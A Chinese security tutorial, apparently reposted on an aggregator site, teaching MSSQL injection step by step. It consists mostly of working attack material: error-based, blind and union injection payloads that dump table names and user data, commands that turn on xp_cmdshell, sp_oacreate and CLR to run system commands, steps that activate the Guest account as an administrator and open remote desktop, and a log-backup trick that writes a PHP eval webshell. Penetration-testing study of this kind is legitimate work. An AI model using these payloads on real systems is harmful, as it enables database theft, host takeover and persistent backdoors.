当前位置: 首页 > news >正文

网络安全进阶学习第十四课——MSSQL注入

文章目录

  • 一、MSsql数据库
  • 二、MSsql结构
  • 三、MSsql重点表
    • 1、master 数据库中的Sysdatabases 表
    • 2、Sysobjects 表
    • 3、Syscolumns 表
  • 四、Mssql常用函数
  • 五、Mssql的报错注入
  • 六、Mssql的盲注
    • 常用以下函数进行盲注:
  • 七、联合注入
    • 1、获取当前表的列数
    • 2、获取当前数据库名
    • 3、获取表名
    • 4、获取表id
    • 5、获取表字段名
    • 6、获取manage表中username字段的数据
  • 八、注入流程
    • 1、判断权限
    • 2、获取当前数据库
    • 3、获取当前数据库内的所有数据表
    • 4、获取当前数据库内的指定数据表的所有字段
    • 5、取指定数据库内的表数据内容
  • 九、getshell
    • 1、mssql权限
    • 2、SA权限开启xp_cmdshell 获取主机权限
      • 1)判断xp_cmdshell 是否打开
      • 2)然后通过上述的execute步骤,将xp_cmdshell开启
    • 3、SA权限使用sp_oacreate 执行系统命令
      • 1)下面的命令可以查看sp_oacreate 是否被允许:
      • 2)开启sp_oacreate
      • 3)执行添加用户命令 进行测试
    • 4、SA权限使用CLR 执行系统命令
      • 创建CLR有两种方式:
      • 启用CLR功能
    • 5、DB_owner权限 LOG备份Getshell
      • 1)sql server常见的备份策略
      • 2)利用前提
      • 3)注入代码
    • 6、综述


一、MSsql数据库

强类型数据库,会把数字和字符严格区分的。


二、MSsql结构

有四个默认的数据库:

  • 1、master(重点)
    保存着SQL Server实例的配置、权限、数据库定义和其他需要的信息。
  • 2、model
    模板数据库。每当创建一个新的数据库(包括系统数据库的TempDB),会创建一个以 Model 数据库为副本数据库,并更改成你创建数据库时所用的名。
  • 3、msdb
    代理的数据库,用于配置警报使用 SQL Server 代理和预定作业等。
  • 4、tempdb
    暂时存储数据的,用于存储系统运行过程中临时产生的数据,例如用户定义的表、索引等。

三、MSsql重点表

1、master 数据库中的Sysdatabases 表

Sysdatabases 表只保存在 master 数据库中,这个表中保存的是所有的库名,主要字段有:name (数据库名)

2、Sysobjects 表

所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。该表存放着当前数据库所有的表名(类似MySQL中information_schema数据库中的tables表)。主要字段有:name(表名)、id(表 ID)、xtype(创建的对象)。
xtype='U',代表是用户建立的表。

  • 和MySQL的数据库路径方法有区别:
    Mysql:information_schema.tables
    Mssql:master.dbo.sysobjects

3、Syscolumns 表

所有数据库内都有此系统表,无论是用户自建的数据库还是系统默认的数据库。
该表存放着当前数据库所有的字段名。主要字段有:name(分别是字段名称)、id(表 ID)。其中的 ID 是用 sysobjects 表中得到的表的 ID 号。


四、Mssql常用函数

函数函数作用
db name()返回当前数据库的名称
host_name()返回计算机名称
current_user返回当前数据库的用户名
user数据库用户
substring()字符串截取函数
@@version查看数据库版本
char()ASCII 转字符函数
cast(text as type())字符类型转换,如果转换失败会将 text 结果报错显示在页面上
object_id()根据表名返回数据库表名 ID
object_name()根据 ID 返回数据库表名
col_name(object_id,column_id) 举例:Col_name(object_id(‘users’),2)返回指定表中指定字段(列)的名称

五、Mssql的报错注入

由于Mssql是强类型数据库,一旦数据类型不匹配就会报错。这时我们就可以利用四则运算,让整型数据和字符型数据之间来进行运算,例如1+user。

举例POC:'or 1=convert(int,@@version)--


六、Mssql的盲注

跟mysql差不多,区别在于使用的函数不同

常用以下函数进行盲注:

  • 1、patindex(pattern,string)
    #返回某个字符或正则在某个字符串中第一次出现的位置

  • 2、replace(string,substring1,substring2)
    #将字符串中出现的某个子串替换成另一个字符串,就是将在string中出现的substring1替换成substring2。
    举例:replace(‘1-a 2-b’,’-’, ’:’),返回结果是:1:a 2:b

  • 3、replicate(string,n)
    #指定的次数复制字符串
    举例:replicate(‘abc’,3),返回结果是:abcabcabc

  • 4、stuff(string,pos,delete_length,insertstring)
    #先删除字符串中的一个字串,再插入一个新的子串作为替换
    举例:stuff(‘xyz’,2,1,’abc’),返回结果是:xabcz

  • 5、upper(string)和lower(string)
    #将字符串转换成大写或小写

  • 6、rtrim(string)和ltrim(string)
    #删除字符串中的尾随空格或前导空格

  • 7、charindex(expression1 , expression2 , [ start_location ])
    #返回字符串中指定表达式的起始位置,若查询到就返回位置,若没有查询到就返回false。另外,charindex的参数不区分大小写。


七、联合注入

1、获取当前表的列数

id=-1 order by 4--+
4不报错,5报错

2、获取当前数据库名

id=-1 union all select 1,2,db_name(),4--+
这里返回:mozhe_db

3、获取表名

id=-1 union all select top 1 1,2,name,4 from mozhe_db.dbo.sysobjects where xtype=’U’--+
这里返回:manage

假如要获取下一个表可以使用老方法,直接再where后面添加:and name !=’manage’,就可以弹出下一个表名

4、获取表id

id=-1 union all select 1,id,3,4 from sysobjects where name=’manage’--+
这里返回:5575058

5、获取表字段名

id=-1 union all select top 1 1,2,name,4 from syscolumns where id=5575058 --+
这里返回:username

假如要获取下一个字段名可以使用老方法,直接在where后面添加:and name !=’ username’,就可以弹出下一个字段名

6、获取manage表中username字段的数据

id=-1 union all select top 1 1,2, username ,4 from manage --+
这里返回:admin_mz

假如要获取下一个数据可以使用老方法,直接在后面添加:where username !=’ admin_mz’,就可以弹出下一个字段名


八、注入流程

1、判断权限

如果页面回显正常则为正确,否则报错。举例POC:
and 1=(select IS_SRVROLEMEMBER(‘sysadmin’)) –

2、获取当前数据库

and 1=(select db_name()) –

3、获取当前数据库内的所有数据表

and 1=convert(int,(select quotename(name) from 数据库名.dbo.sysobjects where xtype=‘U’ FOR XML PATH(‘’))) –

注意:
convert函数是强制转数据类型的。
Quotename函数的主要作用就是在存储过程中,给列名、表名等加个[ ]、’’等以保证sql语句能正常执行。
FOR XML PATH 是将查询结果集以XML形式展现,将多行的结果,展示在同一行。

4、获取当前数据库内的指定数据表的所有字段

and 1=(select quotename(name) from 数据库名.dbo.syscolumns where id =(select id from 数据库名…sysobjects where name=‘指定表名’) FOR XML PATH(‘’)) –

5、取指定数据库内的表数据内容

and 1=(select top 1 * from 指定数据库.dbo.指定表名 where排除条件 FOR XML PATH(‘’))–


九、getshell

1、mssql权限

  • sa权限:数据库操作,文件管理,命令执行,注册表读取等system。是mssql的最高权限
  • db权限:文件管理,数据库操作等 users-administrators
  • public权限:数据库操作 guest-users

2、SA权限开启xp_cmdshell 获取主机权限

1)判断xp_cmdshell 是否打开

select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell'
在这里插入图片描述
返回1是打开;返回0是关闭

  • 如果xp_cmdshell权限没有开启,我们可以执行下面命令开启,下面四步,使xp——cmdshell开启
execute('sp_configure "show advanced options",1')  #将该选项的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure "xp_cmdshell", 1')           #将xp_cmdshell的值设置为1
execute('reconfigure')                             #保存设置
execute('sp_configure')                            #查看配置
execute('xp_cmdshell "whoami"')                    #执行系统命令
  • 或者:
exec sp_configure 'show advanced options',1;       
reconfigure;                                       
exec sp_configure 'xp_cmdshell',1;                 
reconfigure;                                      
exec sp_configure;                                 
exec xp_cmdshell 'whoami'; 
  • 可以执行系统权限之后,前提是获取的主机权限是administrators组里的
exec xp_cmdshell 'net user Guest 123456'              #给guest用户设置密码
exec xp_cmdshell 'net user Guest /active:yes'         #激活guest用户
exec xp_cmdshell 'net localgroup administrators Guest /add'  #将guest用户添加到administrators用户组
exec xp_cmdshell 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'        #开启3389端口
  • execute(‘sp_configure “show advanced options”,1’) #将该选项的值设置为1
    在这里插入图片描述

  • execute(‘reconfigure’) #保存设置
    在这里插入图片描述

  • 虽然用第一步判断xp_cmdshell是否打开返回为1,但是依然无法执行命令。使用execute(‘xp_cmdshell “whoami”’) 此命令默认被禁止
    在这里插入图片描述

2)然后通过上述的execute步骤,将xp_cmdshell开启

在这里插入图片描述

3、SA权限使用sp_oacreate 执行系统命令

使用sp_oacreate的前提:sql server数据服务未降权

我们可以借助sql server中的com组件sp_oacreate来执行系统命令。

1)下面的命令可以查看sp_oacreate 是否被允许:

declare @shell int 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,'whoami'

在这里插入图片描述

2)开启sp_oacreate

EXEC sp_configure 'show advanced options', 1;    
//类似于exe('sp_configure' "show advanced options",1)
RECONFIGURE WITH OVERRIDE;  
EXEC sp_configure 'Ole Automation Procedures', 1;  
RECONFIGURE WITH OVERRIDE;

在这里插入图片描述
由此可以看出,sp_oacreate 命令无回显

3)执行添加用户命令 进行测试

declare @shell int 
exec sp_oacreate 'wscript.shell',@shell output 
exec sp_oamethod @shell,'run',null,
'c:\windows\system32\cmd.exe /c net user hack Password@ /add'   
--上面sql server语言固定,最后一行是执行的系统命令

4、SA权限使用CLR 执行系统命令

创建CLR有两种方式:

  • 使用DLL文件进行创建
  • 使用文件16进制流进行创建

启用CLR功能

exec sp_configure 'show advanced options', 1;
RECONFIGURE;
Exec sp_configure 'clr enabled', 1;
RECONFIGURE;

如果存在权限问题,执行下面命令

alter database [master] set TRUSTWORTHY on  --后续要导入不安全的程序集,因此将数据库标记为安全
EXEC sp_changedbowner 'sa'
导入程序集CREATE ASSEMBLY [WarSQLKit] 
AUTHORIZATION [dbo] FROM 十六进制数据 
WITH PERMISSION_SET = UNSAFE;
CREATE PROCEDURE sp_cmdExec @Command [nvarchar](4000) WITH EXECUTE AS CALLER 
AS EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec;
执行命令EXEC [dbo].[SqlStoredProcedure1]; 例如:exec sp_cmdExec 'whoami'
删除程序集DROP PROCEDURE sp_cmdExec;
DROP ASSEMBLY [WarSQLKit];

5、DB_owner权限 LOG备份Getshell

无论是LOG备份还是差异备份,都是利用备份的过程中写入一句话木马

1)sql server常见的备份策略

  • 每周一次完整备份
  • 每天一次差异备份
  • 每小时一次事务备份

2)利用前提

  • 目标机器存在数据库备份文件。也就是说,如果我们利用test数据库,那么要求test数据库存在数据库备份文件,而且恢复模式得是完整模式
  • 知道网站的绝对路径
  • 支持堆叠注入

3)注入代码

alter database 数据库名 set RECOVERY FULL;   #修改数据库恢复模式为 完整模式
create table cmd (a image);    #创建一张表cmd,只有一个列 a,类型为image
backup log 数据库名 to disk= 'C:\phpstudy\WWW\1.php' with init;  #备份表到指定路径
insert into cmd (a) values(0x3c3f70687020406576616c28245f504f53545b785d293b3f3e);  
#插入一句话到cmd表里,十六进制为一句话木马<?php @eval($_POST['x']);?>
backup log 数据库名 to disk='C:\phpstudy\WWW\2.php';     #把操作日志备份到指定文件
drop table cmd;     #删除cmd表

6、综述

利用日志备份,类似于mysql的在日志中写入一句话木马。

修改数据库恢复模式为完整模式,然后创建一个表,备份表到指定路径

在表中插入一句话木马,将日志文件备份到我们知道的路径,最后删除创建的表


相关文章:

网络安全进阶学习第十四课——MSSQL注入

文章目录 一、MSsql数据库二、MSsql结构三、MSsql重点表1、master 数据库中的Sysdatabases 表2、Sysobjects 表3、Syscolumns 表 四、Mssql常用函数五、Mssql的报错注入六、Mssql的盲注常用以下函数进行盲注&#xff1a; 七、联合注入1、获取当前表的列数2、获取当前数据库名3、…...

【C语言】初阶结构体

&#x1f388;个人主页&#xff1a;库库的里昂 &#x1f390;CSDN新晋作者 &#x1f389;欢迎 &#x1f44d;点赞✍评论⭐收藏 ✨收录专栏&#xff1a;C语言初阶 ✨其他专栏&#xff1a;代码小游戏 &#x1f91d;希望作者的文章能对你有所帮助&#xff0c;有不足的地方请在评论…...

24届近5年南京理工大学自动化考研院校分析

今天学长给大家带来的是南京理工大学控制考研分析 满满干货&#xff5e;还不快快点赞收藏 一、南京理工大学 ​ 学校简介 南京理工大学是隶属于工业和信息化部的全国重点大学&#xff0c;学校由创建于1953年的新中国军工科技最高学府——中国人民解放军军事工程学院&#xf…...

5.PyCharm基础使用及快捷键

在前几篇文章中介绍了PyCharm的安装和汉化,本篇文章一起来看一下PyCharm的基本用法和一些快捷键的使用方法。 本篇文章PyCharm的版本为PyCharm2023.2 新建项目和运行 打开工具,在菜单中——文件——新建项目 选择项目的创建位置(注意最好不要使用中文路径和中文名项目名称…...

RabbitMQ的安装

RabbitMQ的安装 1、Windows环境下的RabbitMQ安装步骤 使用的版本&#xff1a;otp_win64_23.2 rabbitmq-server-3.8.16 版本说明&#xff1a;https://www.rabbitmq.com/which-erlang.html#compatibility-matrix 1.1 下载并安装erlang RabbitMQ 服务端代码是使用并发式语言…...

GPU版PyTorch对应安装教程

一、正确安装符合自己电脑的对应GPU版本的PyTorch之前需要了解三个基本概念 算力、CUDA driver version、CUDA runtime version ①算力&#xff1a;需要先知道你的显卡&#xff0c;之后根据官网表格进行对应&#xff0c;得到算力 ②CUDA driver version&#xff1a;电脑上显卡…...

医学影像PACS临床信息系统源码

医学影像临床信息系统&#xff08;Picture Archiving and Communication Systems&#xff09;PACS是指从医疗影像设备中获得数字影像&#xff0c;利用高速网络进行存储、管理、传输的医疗影像信息管理系统。通过该系统&#xff0c;能实现影像数字化、无胶片化管理。 登记系统 …...

Python(Web时代)——jinja2模板

简介 Jinja2是Flask框架默认支持的模板引擎&#xff0c;是python的web项目中被广泛应用的一种模板引擎&#xff0c;jinja2的作者与Flask是同一个人。 jinja2具有以下特点&#xff1a; 非常灵活&#xff0c;提供了控制结构、表达式与继承等 性能好 可读性强 渲染一个模板&a…...

酷开系统 | 酷开科技,让数据变得更有价值!

身处信息时代&#xff0c;我们每个人时刻都在生成、传递和应用数据&#xff0c;数据已经成为了现代社会中宝贵的资源之一&#xff0c;而在人工智能领域&#xff0c;数据更是被称为人工智能的“燃料”。 而在AI的发展中&#xff0c;只有拥有高质量、多样性且充分代表性的数据集…...

uni——tab切换

案例展示 案例代码 <view class"tablist"><block v-for"(item,index) in tabList" :key"index"><view class"tabItem" :class"current item.id?active:" click"changeTab(item)">{{item.nam…...

类图的6种关系和golang应用

文章目录 1. 依赖和关联1.1 依赖&#xff08;Dependency&#xff09;概念类图示例代码示例 1.2 关联&#xff08;Association&#xff09;概念类图示例代码示例 2. 组合和聚合&#xff08;特殊的关联关系&#xff09;2.1 聚合&#xff08;Aggregation&#xff09;概念类图示例代…...

Linux tar 备忘清单

tar 备忘清单 语法选项创建一个 tar 格式的压缩文件创建压缩后的 tar.gz 存档文件生成压缩率更高的 tar.bz2 文件解压缩 tar 文件解压缩 tar.gz 文件解压缩 tar.bz2 文件列出归档内容从 tar 归档文件中提取单个文件从 tar 归档文件中提取多个文件使用通配符提取文件组添加文件或…...

76. 最小覆盖子串

题目链接&#xff1a;力扣 解题思路&#xff1a;滑动窗口 因为只需要最小子串中包含t中的所有字符即可&#xff0c;顺序不重要&#xff0c;所以可以先统计一下 t 中每个字符出现的次数&#xff0c;使用map进行统计&#xff1a; key表示t中的字符&#xff0c;value表示字符的个…...

科兴未来|2023“数智未来,聚放神采”医疗科技创新挑战赛

一、赛事亮点 聚焦前沿神经科学与脑科学领域 展示优质创新产品、技术、平台与服务 汇聚学术端、产业端、投资端多维专业视角 搭建合作交流、产业赋能与生态融合平台 共话行业发展方向与动态趋势 二、赛事简介 2023医疗科技创新挑战赛聚焦于神经科学及脑科学领域的前沿技…...

第56步 深度学习图像识别:CNN梯度权重类激活映射(TensorFlow)

基于WIN10的64位系统演示 一、写在前面 类激活映射&#xff08;Class Activation Mapping&#xff0c;CAM&#xff09;和梯度权重类激活映射&#xff08;Gradient-weighted Class Activation Mapping&#xff0c;Grad-CAM&#xff09;是两种可视化深度学习模型决策过程的技术…...

云道资本:2023中国氢能源产业-氢制备深度研究报告(附下载)

关于报告的所有内容&#xff0c;公众【营销人星球】获取下载查看 核心观点 中国可再生能源消纳能力提升远远滞后于发电占比的提升。大规模的可再生能源发电是实现碳中和的关键一步&#xff0c;但风电、光伏发电间歌性、波动性强&#xff0c;电网消纳压力较大&#xff0c;且电…...

java文件

一.File类 二.扫描指定目录&#xff0c;并找到名称中包含指定字符的所有普通文件&#xff08;不包含目录&#xff09;&#xff0c;并且后续询问用户是否要删除该文件 我的代码: import java.io.File; import java.io.IOException; import java.util.Scanner;public class Tes…...

pyqt5 如何终止正在执行的线程?

在 PyQt5 中终止正在执行的线程&#xff0c;可以通过一些协调的方法来实现。一般情况下&#xff0c;直接强行终止线程是不安全的&#xff0c;可能会导致资源泄漏或者程序异常。相反&#xff0c;我们可以使用一种协作的方式&#xff0c;通知线程在合适的时候自行退出。 以下是一…...

力扣第357场周赛补题

6925. 故障键盘 - 力扣&#xff08;LeetCode&#xff09; 思路&#xff1a;模拟 class Solution { public:string finalString(string s) {string res;for(auto c : s){if(c i) reverse(res.begin(), res.end());else res c;}return res;} }; 6953. 判断是否能拆分数组 - 力…...

Keras指定model.fit()的输出

model.fit()当verbose1的时候会打印出所有指标和loss, 在多输出的情况下更是一团乱麻. 下面是一个可以指定每个epoch训练完的输入指标的方法: from keras.callbacks import Callback# Custom callback to display loss only at the end of each epoch class LossCallback(Call…...

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…...

vscode里如何用git

打开vs终端执行如下&#xff1a; 1 初始化 Git 仓库&#xff08;如果尚未初始化&#xff09; git init 2 添加文件到 Git 仓库 git add . 3 使用 git commit 命令来提交你的更改。确保在提交时加上一个有用的消息。 git commit -m "备注信息" 4 …...

Flask RESTful 示例

目录 1. 环境准备2. 安装依赖3. 修改main.py4. 运行应用5. API使用示例获取所有任务获取单个任务创建新任务更新任务删除任务 中文乱码问题&#xff1a; 下面创建一个简单的Flask RESTful API示例。首先&#xff0c;我们需要创建环境&#xff0c;安装必要的依赖&#xff0c;然后…...

k8s从入门到放弃之Ingress七层负载

k8s从入门到放弃之Ingress七层负载 在Kubernetes&#xff08;简称K8s&#xff09;中&#xff0c;Ingress是一个API对象&#xff0c;它允许你定义如何从集群外部访问集群内部的服务。Ingress可以提供负载均衡、SSL终结和基于名称的虚拟主机等功能。通过Ingress&#xff0c;你可…...

练习(含atoi的模拟实现,自定义类型等练习)

一、结构体大小的计算及位段 &#xff08;结构体大小计算及位段 详解请看&#xff1a;自定义类型&#xff1a;结构体进阶-CSDN博客&#xff09; 1.在32位系统环境&#xff0c;编译选项为4字节对齐&#xff0c;那么sizeof(A)和sizeof(B)是多少&#xff1f; #pragma pack(4)st…...

UE5 学习系列(三)创建和移动物体

这篇博客是该系列的第三篇&#xff0c;是在之前两篇博客的基础上展开&#xff0c;主要介绍如何在操作界面中创建和拖动物体&#xff0c;这篇博客跟随的视频链接如下&#xff1a; B 站视频&#xff1a;s03-创建和移动物体 如果你不打算开之前的博客并且对UE5 比较熟的话按照以…...

如何在看板中有效管理突发紧急任务

在看板中有效管理突发紧急任务需要&#xff1a;设立专门的紧急任务通道、重新调整任务优先级、保持适度的WIP&#xff08;Work-in-Progress&#xff09;弹性、优化任务处理流程、提高团队应对突发情况的敏捷性。其中&#xff0c;设立专门的紧急任务通道尤为重要&#xff0c;这能…...

oracle与MySQL数据库之间数据同步的技术要点

Oracle与MySQL数据库之间的数据同步是一个涉及多个技术要点的复杂任务。由于Oracle和MySQL的架构差异&#xff0c;它们的数据同步要求既要保持数据的准确性和一致性&#xff0c;又要处理好性能问题。以下是一些主要的技术要点&#xff1a; 数据结构差异 数据类型差异&#xff…...

【碎碎念】宝可梦 Mesh GO : 基于MESH网络的口袋妖怪 宝可梦GO游戏自组网系统

目录 游戏说明《宝可梦 Mesh GO》 —— 局域宝可梦探索Pokmon GO 类游戏核心理念应用场景Mesh 特性 宝可梦玩法融合设计游戏构想要素1. 地图探索&#xff08;基于物理空间 广播范围&#xff09;2. 野生宝可梦生成与广播3. 对战系统4. 道具与通信5. 延伸玩法 安全性设计 技术选…...

Angular微前端架构:Module Federation + ngx-build-plus (Webpack)

以下是一个完整的 Angular 微前端示例&#xff0c;其中使用的是 Module Federation 和 npx-build-plus 实现了主应用&#xff08;Shell&#xff09;与子应用&#xff08;Remote&#xff09;的集成。 &#x1f6e0;️ 项目结构 angular-mf/ ├── shell-app/ # 主应用&…...